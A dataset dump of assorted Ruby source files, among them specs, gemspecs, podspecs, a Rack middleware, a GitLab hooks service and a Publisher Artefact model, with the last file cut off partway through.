hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
0139c3af708deae9619e38d294e80640d205761a | 756 | module Dynamic
module Schema
module Attribute
autoload :Base, 'dynamic/schema/attribute/base'
autoload :Boolean, 'dynamic/schema/attribute/boolean'
autoload :Float, 'dynamic/schema/attribute/float'
autoload :Integer, 'dynamic/schema/attribute/integer'
autoload :String, 'dynamic/schema/attribute/string'
autoload :Text, 'dynamic/schema/attribute/text'
autoload :Phone, 'dynamic/schema/attribute/phone'
autoload :Siret, 'dynamic/schema/attribute/siret'
autoload :Translatable, 'dynamic/schema/attribute/translatable'
autoload :TranslatableString, 'dynamic/schema/attribute/translatable_string'
autoload :TranslatableText, 'dynamic/schema/attribute/translatable_text'
end
end
end
| 42 | 82 | 0.739418 |
26f5a22c336e7d4f5ea0ac616103c40962798bae | 4,593 |
Pod::Spec.new do |s|
# ――― Spec Metadata ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# These will help people to find your library, and whilst it
# can feel like a chore to fill in it's definitely to your advantage. The
# summary should be tweet-length, and the description more in depth.
#
s.name = "SYJXMLParserTest"
s.version = "0.0.1"
s.summary = "A simple way to parse and generate XML on iOS and Mac OS."
s.description = <<-DESC
A simple way to parse and generate XML on iOS and Mac OS. Converts an XML file to an NSDictionary which can then be easily traversed using the standard Cocoa keyPath mechanism. Can also output the contents of any dictionary as XML.
DESC
s.homepage = "https://github.com/ShiYongjieGitHub/test.git"
# s.screenshots = "www.example.com/screenshots_1.gif", "www.example.com/screenshots_2.gif"
# ――― Spec License ――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Licensing your code is important. See http://choosealicense.com for more info.
# CocoaPods will detect a license file if there is a named LICENSE*
# Popular ones are 'MIT', 'BSD' and 'Apache License, Version 2.0'.
#
s.license = "MIT"
# s.license = { :type => "MIT", :file => "FILE_LICENSE" }
# ――― Author Metadata ――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Specify the authors of the library, with email addresses. Email addresses
# of the authors are extracted from the SCM log. E.g. $ git log. CocoaPods also
# accepts just a name if you'd rather not provide an email address.
#
# Specify a social_media_url where others can refer to, for example a twitter
# profile URL.
#
s.author = { "ShiYongjieGitHub" => "" }
# Or just: s.author = "ShiYongjieGitHub"
# s.authors = { "ShiYongjieGitHub" => "" }
# s.social_media_url = "http://twitter.com/ShiYongjieGitHub"
# ――― Platform Specifics ――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# If this Pod runs only on iOS or OS X, then specify the platform and
# the deployment target. You can optionally include the target after the platform.
#
# s.platform = :ios
# s.platform = :ios, "5.0"
# When using multiple platforms
# s.ios.deployment_target = "5.0"
# s.osx.deployment_target = "10.7"
# ――― Source Location ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Specify the location from where the source should be retrieved.
# Supports git, hg, bzr, svn and HTTP.
#
s.source = { :git => "https://github.com/ShiYongjieGitHub/test.git", :tag => "0.0.1" }
# ――― Source Code ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# CocoaPods is smart about how it includes source code. For source files
# giving a folder will include any swift, h, m, mm, c & cpp files.
# For header files it will include any header in the folder.
# Not including the public_header_files will make all headers public.
#
s.source_files = "SYJXMLParserTest/AdrXMLToDictionaryParser.{h,m}"
s.exclude_files = "Classes/Exclude"
# s.public_header_files = "Classes/**/*.h"
# ――― Resources ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# A list of resources included with the Pod. These are copied into the
# target bundle with a build phase script. Anything else will be cleaned.
# You can preserve files from being cleaned, please don't preserve
# non-essential files like tests, examples and documentation.
#
# s.resource = "icon.png"
# s.resources = "Resources/*.png"
# s.preserve_paths = "FilesToSave", "MoreFilesToSave"
# ――― Project Linking ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Link your library with frameworks, or libraries. Libraries do not include
# the lib prefix of their name.
#
# s.framework = "SomeFramework"
# s.frameworks = "SomeFramework", "AnotherFramework"
# s.library = "iconv"
# s.libraries = "iconv", "xml2"
# ――― Project Settings ――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# If your library depends on compiler flags you can set them in the xcconfig hash
# where they will only apply to your library. If you depend on other Podspecs
# you can include multiple dependencies to ensure it works.
# s.requires_arc = true
# s.xcconfig = { "HEADER_SEARCH_PATHS" => "$(SDKROOT)/usr/include/libxml2" }
# s.dependency "JSONKit", "~> 1.4"
end
| 36.744 | 250 | 0.581755 |
bf6ca40e1105eb3739c6620ef5266d6bf08d2cac | 298 | module SolidusSearchkick
module Spree
module TaxonsControllerDecorator
def autocomplete
keywords = params[:keywords] ||= nil
json = ::Spree::Taxon.autocomplete(keywords)
render json: json
end
::Spree::TaxonsController.prepend self
end
end
end
| 21.285714 | 52 | 0.661074 |
1dac3323e0370a8ceef16864b91b58ac55346ebb | 3,079 | require File.join(File.dirname(File.expand_path(__FILE__)), "spec_helper")
describe "pg_auto_parameterize extension" do
before do
@db = Sequel.connect('mock://postgres', :quote_identifiers=>false)
@db.synchronize{|c| def c.escape_bytea(v) v*2 end}
@db.extend_datasets{def use_cursor(*) clone end}
@db.extension :pg_auto_parameterize
end
it "should automatically parameterize queries strings, blobs, numerics, dates, and times" do
pr = proc do |ds, sql, *args|
arg = args[0]
parg = args[1] || arg
s = ds.filter(:a=>arg).sql
s.should == sql
s.args.should == (parg == :nil ? nil : [parg])
end
pr.call(@db[:table], 'SELECT * FROM table WHERE (a = $1::int4)', 1)
pr.call(@db[:table], 'SELECT * FROM table WHERE (a = $1::int8)', 18446744073709551616)
pr.call(@db[:table], 'SELECT * FROM table WHERE (a = $1::double precision)', 1.1)
pr.call(@db[:table], 'SELECT * FROM table WHERE (a = $1::numeric)', BigDecimal.new('1.01'))
pr.call(@db[:table], 'SELECT * FROM table WHERE (a = $1::text)', "a")
pr.call(@db[:table], 'SELECT * FROM table WHERE (a = $1::bytea)', "a\0b".to_sequel_blob)
pr.call(@db[:table], 'SELECT * FROM table WHERE (a = 1)', '1'.lit, :nil)
pr.call(@db[:table], 'SELECT * FROM table WHERE (a = $1::time)', Sequel::SQLTime.create(1, 2, 3, 500000))
pr.call(@db[:table], 'SELECT * FROM table WHERE (a = $1::date)', Date.today)
pr.call(@db[:table], 'SELECT * FROM table WHERE (a = $1::timestamp)', DateTime.new(2012, 1, 2, 3, 4, 5))
pr.call(@db[:table], 'SELECT * FROM table WHERE (a = $1::timestamp)', Time.utc(2012, 1, 2, 3, 4, 5))
end
it "should extract parameters from query string when executing" do
@db.fetch = {:a=>1}
@db.numrows = 1
@db.autoid = 1
@db[:table].filter(:a=>1).all.should == [{:a=>1}]
@db.sqls.should == ['SELECT * FROM table WHERE (a = $1::int4) -- args: [1]']
@db[:table].filter(:a=>1).update(:b=>'a').should == 1
@db.sqls.should == ['UPDATE table SET b = $1::text WHERE (a = $2::int4) -- args: ["a", 1]']
@db[:table].filter(:a=>1).delete.should == 1
@db.sqls.should == ['DELETE FROM table WHERE (a = $1::int4) -- args: [1]']
@db[:table].insert(:a=>1).should == 1
@db.sqls.should == ['INSERT INTO table (a) VALUES ($1::int4) RETURNING id -- args: [1]']
end
it "should not automatically paramiterize if no_auto_parameterize is used" do
@db[:table].no_auto_parameterize.filter(:a=>1).sql.should == 'SELECT * FROM table WHERE (a = 1)'
end
it "should not automatically parameterize prepared statements" do
@db[:table].filter(:a=>1, :b=>:$b).prepare(:select).sql.should =~ /SELECT \* FROM table WHERE \(\((a = 1|b = \$b)\) AND \((a = 1|b = \$b)\)\)/
end
it "should show args with string when inspecting SQL " do
@db[:table].filter(:a=>1).sql.inspect.should == '"SELECT * FROM table WHERE (a = $1::int4); [1]"'
end
it "should not auto parameterize when using cursors" do
@db[:table].filter(:a=>1).use_cursor.opts[:no_auto_parameterize].should be_true
end
end
| 46.651515 | 146 | 0.612212 |
ab79d000cc13e94e750aebc4f88a4ab5bb9ca149 | 1,103 | Gem::Specification.new do |s|
s.name = 'wheretz'
s.version = '0.0.6'
s.authors = ['Victor Shepelev']
s.email = '[email protected]'
s.homepage = 'https://github.com/zverok/wheretz'
s.summary = 'Fast and precise time zone by geo coordinates lookup'
s.licenses = ['MIT']
s.files = `git ls-files`.split($RS).reject do |file|
file =~ /^(?:
spec\/.*
|Gemfile
|Rakefile
|\.rspec
|\.gitignore
|\.rubocop.yml
|\.travis.yml
)$/x
end
s.require_paths = ["lib"]
s.bindir = 'bin'
s.executables << 'wheretz'
s.add_development_dependency 'georuby', '~> 2.5'
s.add_development_dependency 'tzinfo'
s.add_development_dependency 'rake'
s.add_development_dependency 'rubygems-tasks'
s.add_development_dependency 'rspec', '~> 3'
s.add_development_dependency 'rspec-its'
s.add_development_dependency 'saharspec'
s.add_development_dependency 'rubocop'
s.add_development_dependency 'rubocop-rspec'
s.add_development_dependency 'rubocop-rake'
s.add_development_dependency 'rmagick'
s.add_development_dependency 'dbf'
end
| 25.068182 | 68 | 0.68631 |
87b835d41a0bd080bcaf286eb090f8a81068a8ae | 720 | require 'rails_helper'
RSpec.describe "tasks/index", :type => :view do
before(:each) do
assign(:tasks, [
Task.create!(
:name => "Name",
:description => "Description",
:billable => false,
:rate => "9.99"
),
Task.create!(
:name => "Name",
:description => "Description",
:billable => false,
:rate => "9.99"
)
])
end
it "renders a list of tasks" do
render
assert_select "tr>td", :text => "Name".to_s, :count => 2
assert_select "tr>td", :text => "Description".to_s, :count => 2
assert_select "tr>td", :text => false.to_s, :count => 2
assert_select "tr>td", :text => "9.99".to_s, :count => 2
end
end
| 24.827586 | 67 | 0.527778 |
38e9c3a7572bc3f53881f6937c6955d313bc1201 | 647 | require 'rails_helper'
RSpec.describe "infos/index", type: :view do
before(:each) do
assign(:infos, [
Info.create!(
:repos => 2,
:followers => 3,
:following => 4,
:owner => nil
),
Info.create!(
:repos => 2,
:followers => 3,
:following => 4,
:owner => nil
)
])
end
it "renders a list of infos" do
render
assert_select "tr>td", :text => 2.to_s, :count => 2
assert_select "tr>td", :text => 3.to_s, :count => 2
assert_select "tr>td", :text => 4.to_s, :count => 2
assert_select "tr>td", :text => nil.to_s, :count => 2
end
end
| 22.310345 | 57 | 0.511592 |
111fab42941c59a7d9e43c62a5c2ce1ff0b85450 | 139 | def passthrough(enumerable, to_pass, &block)
enumerable.each do |element|
to_pass = block.call(to_pass, element)
end
to_pass
end
| 19.857143 | 44 | 0.733813 |
1a32ddf47b44f64002c3868adcb3fe49b03d5e29 | 717 | require 'json'
package = JSON.parse(File.read(File.join(__dir__, 'package.json')))
Pod::Spec.new do |s|
s.name = 'ABI36_0_0EXCalendar'
s.version = package['version']
s.summary = package['description']
s.description = package['description']
s.license = package['license']
s.author = package['author']
s.homepage = package['homepage']
s.platform = :ios, '10.0'
s.source = { git: 'https://github.com/expo/expo.git' }
s.source_files = 'ABI36_0_0EXCalendar/**/*.{h,m}'
s.preserve_paths = 'ABI36_0_0EXCalendar/**/*.{h,m}'
s.requires_arc = true
s.dependency 'ABI36_0_0UMCore'
s.dependency 'ABI36_0_0UMPermissionsInterface'
end
| 32.590909 | 67 | 0.627615 |
ac854197558eaae81b0adb4d4452be089d487d5b | 2,081 | =begin
#Finnhub API
#No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator)
The version of the OpenAPI document: 1.0.0
Generated by: https://openapi-generator.tech
OpenAPI Generator version: 5.2.0
=end
require 'spec_helper'
require 'json'
require 'date'
# Unit tests for FinnhubRuby::MutualFundHoldingsData
# Automatically generated by openapi-generator (https://openapi-generator.tech)
# Please update as you see appropriate
describe FinnhubRuby::MutualFundHoldingsData do
let(:instance) { FinnhubRuby::MutualFundHoldingsData.new }
describe 'test an instance of MutualFundHoldingsData' do
it 'should create an instance of MutualFundHoldingsData' do
expect(instance).to be_instance_of(FinnhubRuby::MutualFundHoldingsData)
end
end
describe 'test attribute "symbol"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "name"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "isin"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "cusip"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "share"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "percent"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "value"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
end
| 29.309859 | 107 | 0.730418 |
ff27110de24735b8c5d6207afa99e89864e89193 | 6,244 | class EApp
# set base URL to be prepended to all controllers
def map url
@base_url = rootify_url(url).freeze
end
def base_url
@base_url || ''
end
# set/get app root
def root path = nil
@root = ('%s/' % path).sub(/\/+\Z/, '/').freeze if path
@root ||= (::Dir.pwd << '/').freeze
end
alias app_root root
# allow app to use sessions.
#
# @example keep sessions in memory
# class App < E
# # ...
# end
# app = EApp.new
# app.session :memory
# app.run
#
# @example keep sessions in memory using custom options
# class App < E
# # ...
# end
# app = EApp.new
# app.session :memory, :domain => 'foo.com', :expire_after => 2592000
# app.run
#
# @example keep sessions in cookies
# class App < E
# # ...
# end
# app = EApp.new
# app.session :cookies
# app.run
#
# @example keep sessions in memcache
# class App < E
# # ...
# end
# app = EApp.new
# app.session :memcache
# app.run
#
# @example use a custom pool, i.e. github.com/migrs/rack-session-mongo
# #> gem install rack-session-mongo
#
# class App < E
# # ...
# end
#
# require 'rack/session/mongo'
#
# app = EApp.new
# app.session Rack::Session::Mongo
# app.run
#
# @param [Symbol, Class] use
# @param [Array] args
def session use, *args
args.unshift case use
when :memory
::Rack::Session::Pool
when :cookies
::Rack::Session::Cookie
when :memcache
::Rack::Session::Memcache
else
use
end
use(*args)
end
# set authorization at app level.
# any controller/action will be protected.
def basic_auth opts = {}, &proc
use ::Rack::Auth::Basic, opts[:realm] || opts['realm'], &proc
end
alias auth basic_auth
# (see #basic_auth)
def digest_auth opts = {}, &proc
opts[:realm] ||= 'AccessRestricted'
opts[:opaque] ||= opts[:realm]
use ::Rack::Auth::Digest::MD5, opts, &proc
end
# middleware declared here will be used on all controllers.
#
# especially, here should go middleware that changes app state,
# which wont work if defined inside controller.
#
# you can of course define any type of middleware at app level,
# it is even recommended to do so to avoid redundant
# middleware declaration at controllers level.
#
# @example
#
# class App < E
# # ...
# end
# app = EApp.new
# app.use SomeMiddleware, :with, :some => :opts
# app.run
#
# Any middleware that does not change app state,
# i.e. non-upfront middleware, can be defined inside controllers.
#
# @note middleware defined inside some controller will run only for that controller.
# to have global middleware, define it at app level.
#
# @example defining middleware at app level
# module App
# class Forum < E
# map '/forum'
# # ...
# end
#
# class Blog < E
# map '/blog'
# # ...
# end
# end
#
# app = EApp.new
# app.use Rack::CommonLogger
# app.use Rack::ShowExceptions
# app.run
#
def use ware = nil, *args, &proc
@middleware ||= []
@middleware << {:ware => ware, :args => args, :proc => proc} if ware
@middleware
end
# declaring rewrite rules.
#
# first argument should be a regex and a proc should be provided.
#
# the regex(actual rule) will be compared against Request-URI,
# i.e. current URL without query string.
# if some rule depend on query string,
# use `params` inside proc to determine either some param was or not set.
#
# the proc will decide how to operate when rule matched.
# you can do:
# `redirect('location')`
# redirect to new location using 302 status code
# `permanent_redirect('location')`
# redirect to new location using 301 status code
# `pass(controller, action, any, params, with => opts)`
# pass control to given controller and action without redirect.
# consequent params are used to build URL to be sent to given controller.
# `halt(status|body|headers|response)`
# send response to browser without redirect.
# accepts an arbitrary number of arguments.
# if arg is an Integer, it will be used as status code.
# if arg is a Hash, it is treated as headers.
# if it is an array, it is treated as Rack response and are sent immediately, ignoring other args.
# any other args are treated as body.
#
# @note any method available to controller instance are also available inside rule proc.
# so you can fine tune the behavior of any rule.
# ex. redirect on GET requests and pass control on POST requests.
# or do permanent redirect for robots and simple redirect for browsers etc.
#
# @example
# app = EApp.new
#
# # redirect to new address
# app.rewrite /\A\/(.*)\.php$/ do |title|
# redirect Controller.route(:index, title)
# end
#
# # permanent redirect
# app.rewrite /\A\/news\/([\w|\d]+)\-(\d+)\.html/ do |title, id|
# permanent_redirect Forum, :posts, :title => title, :id => id
# end
#
# # no redirect, just pass control to News controller
# app.rewrite /\A\/latest\/(.*)\.html/ do |title|
# pass News, :index, :scope => :latest, :title => title
# end
#
# # Return arbitrary body, status-code, headers, without redirect:
# # If argument is a hash, it is added to headers.
# # If argument is a Integer, it is treated as Status-Code.
# # Any other arguments are treated as body.
# app.rewrite /\A\/archived\/(.*)\.html/ do |title|
# if page = Model::Page.first(:url => title)
# halt page.content, 'Last-Modified' => page.last_modified.to_rfc2822
# else
# halt 404, 'page not found'
# end
# end
#
# app.run
#
def rewrite rule = nil, &proc
rewrite_rules << [rule, proc] if proc
end
alias rewrite_rule rewrite
def rewrite_rules
@rewrite_rules ||= []
end
end
| 28.642202 | 104 | 0.587124 |
d5d9f259c5af653b0a43715f940f21ef8ac63956 | 2,862 | # frozen_string_literal: true
require 'spec_helper_acceptance'
describe 'postgresql::server::default_privileges:' do
let(:db) { 'grant_role_test' }
let(:user) { 'psql_grant_role_tester' }
let(:group) { 'test_group' }
let(:password) { 'psql_grant_role_pw' }
# Check that the default privileges were revoked
let(:check_command) do
"SELECT * FROM pg_default_acl a JOIN pg_namespace b ON a.defaclnamespace = b.oid WHERE '#{user}=arwdDxt' = ANY (defaclacl) AND nspname = 'public' and defaclobjtype = 'r';"
end
let(:pp_one) do
<<-MANIFEST.unindent
$db = #{db}
$user = #{user}
$group = #{group}
$password = #{password}
class { 'postgresql::server': }
postgresql::server::role { $user:
password_hash => postgresql::postgresql_password($user, $password),
}
postgresql::server::database { $db:
require => Postgresql::Server::Role[$user],
}
# Set default privileges on tables
postgresql::server::default_privileges { "alter default privileges grant all on tables to ${user}":
db => $db,
role => $user,
privilege => 'ALL',
object_type => 'TABLES',
require => Postgresql::Server::Database[$db],
}
MANIFEST
end
let(:pp_two) do
<<-MANIFEST
$db = #{db}
$user = #{user}
$group = #{group}
$password = #{password}
class { 'postgresql::server': }
postgresql::server::role { $user:
password_hash => postgresql::postgresql_password($user, $password),
}
postgresql::server::database { $db:
require => Postgresql::Server::Role[$user],
}
# Removes default privileges on tables
postgresql::server::default_privileges { "alter default privileges revoke all on tables for ${user}":
db => $db,
role => $user,
privilege => 'ALL',
object_type => 'TABLES',
ensure => 'absent',
require => Postgresql::Server::Database[$db],
}
MANIFEST
end
it 'grants default privileges to an user' do
if Gem::Version.new(postgresql_version) >= Gem::Version.new('9.6')
idempotent_apply(pp_one)
psql("--command=\"SET client_min_messages = 'error';#{check_command}\" --db=#{db}") do |r|
expect(r.stdout).to match(%r{\(1 row\)})
expect(r.stderr).to eq('')
end
end
end
it 'revokes default privileges for an user' do
if Gem::Version.new(postgresql_version) >= Gem::Version.new('9.6')
apply_manifest(pp_one, catch_failures: true)
apply_manifest(pp_two, expect_changes: true)
psql("--command=\"SET client_min_messages = 'error';#{check_command}\" --db=#{db}") do |r|
expect(r.stdout).to match(%r{\(0 rows\)})
expect(r.stderr).to eq('')
end
end
end
end
| 30.446809 | 175 | 0.594689 |
62acba8f979a2125f5994b59cfefb61ad8abee13 | 222 | Cloudinary.config do |config|
config.cloud_name = ENV.fetch('CLOUDINARY_CLOUD_NAME')
config.api_key = ENV.fetch('CLOUDINARY_API_KEY')
config.api_secret = ENV.fetch('CLOUDINARY_API_SECRET')
config.secure = true
end
| 31.714286 | 56 | 0.774775 |
114552a9623541076982984af2cbabdcb830cff9 | 614 | require 'js'
require 'negasonic/looped_event/part'
require 'negasonic/looped_event/pattern'
require 'negasonic/looped_event/cycle'
module Negasonic
module LoopedEvent
class << self
def start(looped_element, duration)
looped_element.loop = true
looped_element.loop_end = duration
looped_element.start('+15i')
end
def to_tone_notes(notes)
notes.map do |note|
if JS.typeof(note) == 'string'
note
else
# is a midi note
(2**((note-69)/12) * 440).to_f
end
end
end
end
end
end
| 21.928571 | 42 | 0.594463 |
01dc3852c213e90cc00e7a11177d1af26fe0e4c2 | 448 | require_relative '../../../../automated_init'
context "Message" do
context "Metadata" do
context "Correlated" do
context "Category Input" do
context "No Correlation Stream Name" do
metadata = Controls::Metadata.example
metadata.correlation_stream_name = nil
test "Is not correlated" do
refute(metadata.correlated?('someStream'))
end
end
end
end
end
end
| 22.4 | 54 | 0.611607 |
0801fd4d03f9621b1f1fb42e71aeb6f9da4d023e | 3,941 | # frozen_string_literal: true
module Git
class BaseHooksService < ::BaseService
include Gitlab::Utils::StrongMemoize
include ChangeParams
# The N most recent commits to process in a single push payload.
PROCESS_COMMIT_LIMIT = 100
def execute
create_events
create_pipelines
execute_project_hooks
# Not a hook, but it needs access to the list of changed commits
enqueue_invalidate_cache
success
end
private
def hook_name
raise NotImplementedError, "Please implement #{self.class}##{__method__}"
end
def commits
raise NotImplementedError, "Please implement #{self.class}##{__method__}"
end
def limited_commits
@limited_commits ||= commits.last(PROCESS_COMMIT_LIMIT)
end
def commits_count
commits.count
end
def event_message
nil
end
def invalidated_file_types
[]
end
# Push events in the activity feed only show information for the
# last commit.
def create_events
return unless params.fetch(:create_push_event, true)
EventCreateService.new.push(project, current_user, event_push_data)
end
def create_pipelines
return unless params.fetch(:create_pipelines, true)
Ci::CreatePipelineService
.new(project, current_user, pipeline_params)
.execute!(:push, pipeline_options)
rescue Ci::CreatePipelineService::CreateError => ex
log_pipeline_errors(ex)
end
def execute_project_hooks
return unless params.fetch(:execute_project_hooks, true)
# Creating push_data invokes one CommitDelta RPC per commit. Only
# build this data if we actually need it.
project.execute_hooks(push_data, hook_name) if project.has_active_hooks?(hook_name)
project.execute_services(push_data, hook_name) if project.has_active_services?(hook_name)
end
def enqueue_invalidate_cache
file_types = invalidated_file_types
return unless file_types.present?
ProjectCacheWorker.perform_async(project.id, file_types, [], false)
end
def pipeline_params
{
before: oldrev,
after: newrev,
ref: ref,
push_options: params[:push_options] || {},
checkout_sha: Gitlab::DataBuilder::Push.checkout_sha(
project.repository, newrev, ref)
}
end
def push_data_params(commits:, with_changed_files: true)
{
oldrev: oldrev,
newrev: newrev,
ref: ref,
project: project,
user: current_user,
commits: commits,
message: event_message,
commits_count: commits_count,
with_changed_files: with_changed_files
}
end
def event_push_data
# We only need the last commit for the event push, and we don't
# need the full deltas either.
@event_push_data ||= Gitlab::DataBuilder::Push.build(
push_data_params(commits: commits.last, with_changed_files: false))
end
def push_data
@push_data ||= Gitlab::DataBuilder::Push.build(push_data_params(commits: limited_commits))
# Dependent code may modify the push data, so return a duplicate each time
@push_data.dup
end
# to be overridden in EE
def pipeline_options
{}
end
def log_pipeline_errors(exception)
data = {
class: self.class.name,
correlation_id: Labkit::Correlation::CorrelationId.current_id.to_s,
project_id: project.id,
project_path: project.full_path,
message: "Error creating pipeline",
errors: exception.to_s,
pipeline_params: pipeline_params
}
logger.warn(data)
end
def logger
if Sidekiq.server?
Sidekiq.logger
else
# This service runs in Sidekiq, so this shouldn't ever be
# called, but this is included just in case.
Gitlab::ProjectServiceLogger
end
end
end
end
| 25.927632 | 96 | 0.669881 |
085945ad9da10771fa452e8cff4a69e8a7ce0a90 | 391 | class ApplicationPolicy
attr_reader :account, :record
def initialize(account, record)
@account = account
@record = record
end
def new?
create?
end
def edit?
update?
end
class Scope
attr_reader :account, :scope
def initialize(account, scope)
@account = account
@scope = scope
end
def resolve
scope.all
end
end
end
| 13.033333 | 34 | 0.624041 |
874b30734a11f137e0481088146f9197433d3801 | 899 | require 'rack'
module Houser
class Middleware
attr_accessor :options
def initialize(app, options={})
@options = options
@options[:subdomain_column] ||= "subdomain"
@options[:class] = Object.const_get(options[:class_name])
@options[:tld_length] ||= 1
@app = app
end
def call(env)
domain_parts = env['HTTP_HOST'].split('.')
if domain_parts.length > 1 + options[:tld_length]
domain_name = domain_parts[(-options[:tld_length] - 1)..-1]
subdomain = (domain_parts - domain_name).join('.')
find_tenant(env, subdomain)
end
@app.call(env)
end
private
def find_tenant(env, subdomain)
object = options[:class].where(options[:subdomain_column] => subdomain).first
if object
env['Houser-Subdomain'] = subdomain
env['Houser-Object'] = object
end
end
end
end
| 23.657895 | 83 | 0.615128 |
33d316d2ea4b42c68a0ba1da7b173f37180c387d | 10,847 | require "plek"
require "artefact_action" # Require this when running outside Rails
require_dependency "safe_html"
class CannotEditSlugIfEverPublished < ActiveModel::Validator
def validate(record)
if record.changes.keys.include?("slug") && record.state_was == "live"
record.errors[:slug] << "Cannot edit slug for live artefacts"
end
end
end
class Artefact
include Mongoid::Document
include Mongoid::Timestamps
field "name", type: String
field "slug", type: String
field "paths", type: Array, default: []
field "prefixes", type: Array, default: []
field "kind", type: String
field "owning_app", type: String
field "rendering_app", type: String
field "active", type: Boolean, default: false
# will be removed once multiple need_ids
# gets deployed and tested.
field "need_id", type: String
field "need_ids", type: Array, default: []
field "publication_id", type: String
field "description", type: String
field "state", type: String, default: "draft"
field "language", type: String, default: "en"
field "latest_change_note", type: String
field "public_timestamp", type: DateTime
field "redirect_url", type: String
# content_id should be unique but we have existing artefacts without it.
# We should therefore enforce the uniqueness as soon as:
# - every current artefact will have a content id assigned
# - every future artefact will be created with a content id
field "content_id", type: String
index({ slug: 1 }, unique: true)
# This index allows the `relatable_artefacts` method to use an index-covered
# query, so it doesn't have to load each of the artefacts.
index name: 1,
state: 1,
kind: 1,
_type: 1,
_id: 1
scope :not_archived, lambda { where(:state.nin => ["archived"]) }
FORMATS_BY_DEFAULT_OWNING_APP = {
"publisher" => %w(answer
campaign
completed_transaction
guide
help_page
licence
local_transaction
place
programme
simple_smart_answer
transaction
video),
"smartanswers" => ["smart-answer"],
"custom-application" => ["custom-application"], # In this case the owning_app is overriden. eg calendars, licencefinder
"travel-advice-publisher" => ["travel-advice"],
"specialist-publisher" => ["manual"],
"finder-api" => %w(finder
finder_email_signup),
# business support was converted into a format owned by specialist publisher
# but it's not a direct swap so we don't claim that is the owning app
"replaced" => ['business_support'],
}.freeze
RETIRED_FORMATS = %w[campaign programme video].freeze
FORMATS = FORMATS_BY_DEFAULT_OWNING_APP.values.flatten
def self.default_app_for_format(format)
FORMATS_BY_DEFAULT_OWNING_APP.detect { |_app, formats| formats.include?(format) }.first
end
KIND_TRANSLATIONS = {
"standard transaction link" => "transaction",
"local authority transaction link" => "local_transaction",
"completed/done transaction" => "completed_transaction",
"benefit / scheme" => "programme",
"find my nearest" => "place",
}.tap { |h| h.default_proc = -> (_, k) { k } }.freeze
MULTIPART_FORMATS = %w(guide local_transaction licence simple_smart_answer).freeze
embeds_many :actions, class_name: "ArtefactAction", order: { created_at: :asc }
embeds_many :external_links, class_name: "ArtefactExternalLink"
accepts_nested_attributes_for :external_links, allow_destroy: true,
reject_if: proc { |attrs| attrs["title"].blank? && attrs["url"].blank? }
before_validation :normalise, on: :create
before_validation :filter_out_empty_need_ids, if: :need_ids_changed?
before_create :record_create_action
before_update :record_update_action
after_update :update_editions
before_destroy :discard_publishing_api_draft
validates :name, presence: true
validates :slug, presence: true, uniqueness: true, slug: true
validates :kind, inclusion: { in: lambda { |_x| FORMATS } }
validates :state, inclusion: { in: %w(draft live archived) }
validates :owning_app, presence: true
validates :language, inclusion: { in: %w(en cy) }
validates_with CannotEditSlugIfEverPublished
validate :validate_prefixes_and_paths
validate :format_of_new_need_ids, if: :need_ids_changed?
def self.in_alphabetical_order
order_by(name: :asc)
end
def self.find_by_slug(s)
where(slug: s).first # rubocop:disable Rails/FindBy
end
def self.multipart_formats
where(kind: { '$in' => MULTIPART_FORMATS })
end
def self.archived
where(state: 'archived')
end
def self.with_redirect
where(:redirect_url.nin => [nil, ""])
end
# Fallback to english if no language is present
def language
attributes['language'] || "en"
end
def normalise
return unless kind.present?
self.kind = KIND_TRANSLATIONS[kind.to_s.downcase.strip]
end
def as_json(options = {})
super.tap { |hash|
hash["id"] = hash.delete("_id")
}
end
def any_editions_published?
Edition.where(panopticon_id: self.id, state: 'published').any?
end
def any_editions_ever_published?
Edition.where(panopticon_id: self.id,
:state.in => %w(published archived)).any?
end
def update_editions
case state
when 'draft'
if self.slug_changed?
Edition.where(:state.nin => ["archived"],
panopticon_id: self.id).each do |edition| # rubocop:disable Rails/FindEach
edition.update_slug_from_artefact(self)
end
end
when 'archived'
archive_editions
end
end
def archive_editions
if state == 'archived'
Edition.where(panopticon_id: self.id, :state.nin => ["archived"]).each do |edition| # rubocop:disable Rails/FindEach
edition.new_action(self, "note", comment: "Artefact has been archived. Archiving this edition.")
edition.perform_event_without_validations(:archive!)
end
end
end
def self.from_param(slug_or_id)
find_by_slug(slug_or_id) || find(slug_or_id)
end
def update_attributes_as(user, *args)
assign_attributes(*args)
save_as user
end
def save_as(user, options = {})
default_action = new_record? ? "create" : "update"
action_type = options.delete(:action_type) || default_action
record_action(action_type, user: user)
save(options)
end
# We should use this method when performing save actions from rake tasks,
# message queue consumer or any other performed tasks that have no user associated
# as we are still interested to know what triggered the action.
def save_as_task!(task_name, options = {})
default_action = new_record? ? "create" : "update"
action_type = options.delete(:action_type) || default_action
record_action(action_type, task_name: task_name)
save!(options)
end
def record_create_action
record_action "create"
end
def record_update_action
record_action "update"
end
def record_action(action_type, options = {})
user = options[:user]
task_name = options[:task_name]
current_snapshot = snapshot
